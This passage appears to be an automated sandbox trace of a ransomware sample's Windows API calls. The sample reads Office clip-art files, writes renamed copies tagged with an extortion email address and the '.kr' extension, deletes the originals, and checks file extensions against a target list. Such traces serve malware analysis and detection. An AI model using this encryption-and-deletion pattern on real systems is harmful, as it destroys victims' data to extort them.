lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0109.536] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0109.537] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.537] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0109.537] SetEndOfFile (hFile=0x350) returned 1 [0109.537] CloseHandle (hObject=0x350) returned 1 [0109.538] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.539] SetEndOfFile (hFile=0x368) returned 1 [0109.540] CloseHandle (hObject=0x368) returned 1 [0109.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.541] lstrlenW (lpString=".doc") returned 4 [0109.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString=".docx") returned 5 [0109.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.541] lstrlenW (lpString=".pdf") returned 4 [0109.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString=".xls") returned 4 [0109.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.541] lstrlenW (lpString=".xlsx") returned 5 [0109.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.541] lstrlenW (lpString=".ppt") returned 4 [0109.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.541] lstrlenW (lpString=".zip") returned 4 [0109.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.541] lstrlenW (lpString=".rar") returned 4 [0109.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString=".bz2") returned 4 [0109.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString=".7z") returned 3 [0109.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.541] lstrlenW (lpString=".dbf") returned 4 [0109.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.541] lstrlenW (lpString=".1cd") returned 4 [0109.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.542] lstrlenW (lpString=".jpg") returned 4 [0109.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.542] lstrlenW (lpString=".doc") returned 4 [0109.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString=".docx") returned 5 [0109.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.542] lstrlenW (lpString=".pdf") returned 4 [0109.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString=".xls") returned 4 [0109.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.542] lstrlenW (lpString=".xlsx") returned 5 [0109.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.542] lstrlenW (lpString=".ppt") returned 4 [0109.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.542] lstrlenW (lpString=".zip") returned 4 [0109.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.542] lstrlenW (lpString=".rar") returned 4 [0109.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString=".bz2") returned 4 [0109.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.542] lstrlenW (lpString=".7z") returned 3 [0109.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.543] lstrlenW (lpString=".dbf") returned 4 [0109.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.543] lstrlenW (lpString=".1cd") returned 4 [0109.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0109.543] lstrlenW (lpString=".jpg") returned 4 [0109.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.543] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.543] lstrlenW (lpString="BD07804_.WMF") returned 12 [0109.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.544] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4924) returned 1 [0109.544] CloseHandle (hObject=0x368) returned 1 [0109.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0109.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0109.545] GetLastError () returned 0x0 [0109.545] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x133c, lpOverlapped=0x0) returned 1 [0109.547] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x1340, lpOverlapped=0x0) returned 1 [0109.548] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.548] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0109.548] SetEndOfFile (hFile=0x350) returned 1 [0109.548] CloseHandle (hObject=0x350) returned 1 [0109.549] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.549] SetEndOfFile (hFile=0x368) returned 1 [0109.551] CloseHandle (hObject=0x368) returned 1 [0109.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0109.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.551] lstrlenW (lpString=".doc") returned 4 [0109.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString=".docx") returned 5 [0109.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.552] lstrlenW (lpString=".pdf") returned 4 [0109.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString=".xls") returned 4 [0109.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.552] lstrlenW (lpString=".xlsx") returned 5 [0109.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.552] lstrlenW (lpString=".ppt") returned 4 [0109.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.552] lstrlenW (lpString=".zip") returned 4 [0109.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.552] lstrlenW (lpString=".rar") returned 4 [0109.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString=".bz2") returned 4 [0109.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString=".7z") returned 3 [0109.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.552] lstrlenW (lpString=".dbf") returned 4 [0109.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.552] lstrlenW (lpString=".1cd") returned 4 [0109.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.552] lstrlenW (lpString=".jpg") returned 4 [0109.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.553] lstrlenW (lpString=".doc") returned 4 [0109.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString=".docx") returned 5 [0109.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.553] lstrlenW (lpString=".pdf") returned 4 [0109.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString=".xls") returned 4 [0109.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.553] lstrlenW (lpString=".xlsx") returned 5 [0109.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.553] lstrlenW (lpString=".ppt") returned 4 [0109.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.553] lstrlenW (lpString=".zip") returned 4 [0109.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.553] lstrlenW (lpString=".rar") returned 4 [0109.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString=".bz2") returned 4 [0109.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.553] lstrlenW (lpString=".7z") returned 3 [0109.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.553] lstrlenW (lpString=".dbf") returned 4 [0109.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.554] lstrlenW (lpString=".1cd") returned 4 [0109.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0109.554] lstrlenW (lpString=".jpg") returned 4 [0109.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.554] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.554] lstrlenW (lpString="BD07831_.WMF") returned 12 [0109.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.554] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4066) returned 1 [0109.555] CloseHandle (hObject=0x368) returned 1 [0109.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0109.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0109.556] GetLastError () returned 0x0 [0109.556] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0109.557] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xff0, lpOverlapped=0x0) returned 1 [0109.559] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.559] WriteFile (in: hFile=0x350, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0109.560] SetEndOfFile (hFile=0x350) returned 1 [0109.560] CloseHandle (hObject=0x350) returned 1 [0109.561] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.561] SetEndOfFile (hFile=0x368) returned 1 [0109.562] CloseHandle (hObject=0x368) returned 1 [0109.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0109.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.563] lstrlenW (lpString=".doc") returned 4 [0109.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.563] lstrlenW (lpString=".docx") returned 5 [0109.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.563] lstrlenW (lpString=".pdf") returned 4 [0109.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.563] lstrlenW (lpString=".xls") returned 4 [0109.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.563] lstrlenW (lpString=".xlsx") returned 5 [0109.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.563] lstrlenW (lpString=".ppt") returned 4 [0109.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.563] lstrlenW (lpString=".zip") returned 4 [0109.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.564] lstrlenW (lpString=".rar") returned 4 [0109.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString=".bz2") returned 4 [0109.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString=".7z") returned 3 [0109.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.564] lstrlenW (lpString=".dbf") returned 4 [0109.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.564] lstrlenW (lpString=".1cd") returned 4 [0109.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.564] lstrlenW (lpString=".jpg") returned 4 [0109.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.564] lstrlenW (lpString=".doc") returned 4 [0109.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString=".docx") returned 5 [0109.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.564] lstrlenW (lpString=".pdf") returned 4 [0109.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.564] lstrlenW (lpString=".xls") returned 4 [0109.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.564] lstrlenW (lpString=".xlsx") returned 5 [0109.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.565] lstrlenW (lpString=".ppt") returned 4 [0109.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.565] lstrlenW (lpString=".zip") returned 4 [0109.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.565] lstrlenW (lpString=".rar") returned 4 [0109.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".bz2") returned 4 [0109.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".7z") returned 3 [0109.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.565] lstrlenW (lpString=".dbf") returned 4 [0109.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.565] lstrlenW (lpString=".1cd") returned 4 [0109.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0109.565] lstrlenW (lpString=".jpg") returned 4 [0109.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.566] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.566] lstrlenW (lpString="BD08758_.WMF") returned 12 [0109.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.566] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=24320) returned 1 [0109.566] CloseHandle (hObject=0x368) returned 1 [0109.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0109.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0109.567] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.567] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0109.567] GetLastError () returned 0x0 [0109.567] ReadFile (hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0) Thread: id = 10 os_tid = 0xf64 [0078.598] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x4f1508 [0078.598] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x501510 [0078.599] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc158 [0078.599] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de458 [0078.599] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc248 [0078.599] RtlAllocateHeap (HeapHandle=0x440000, 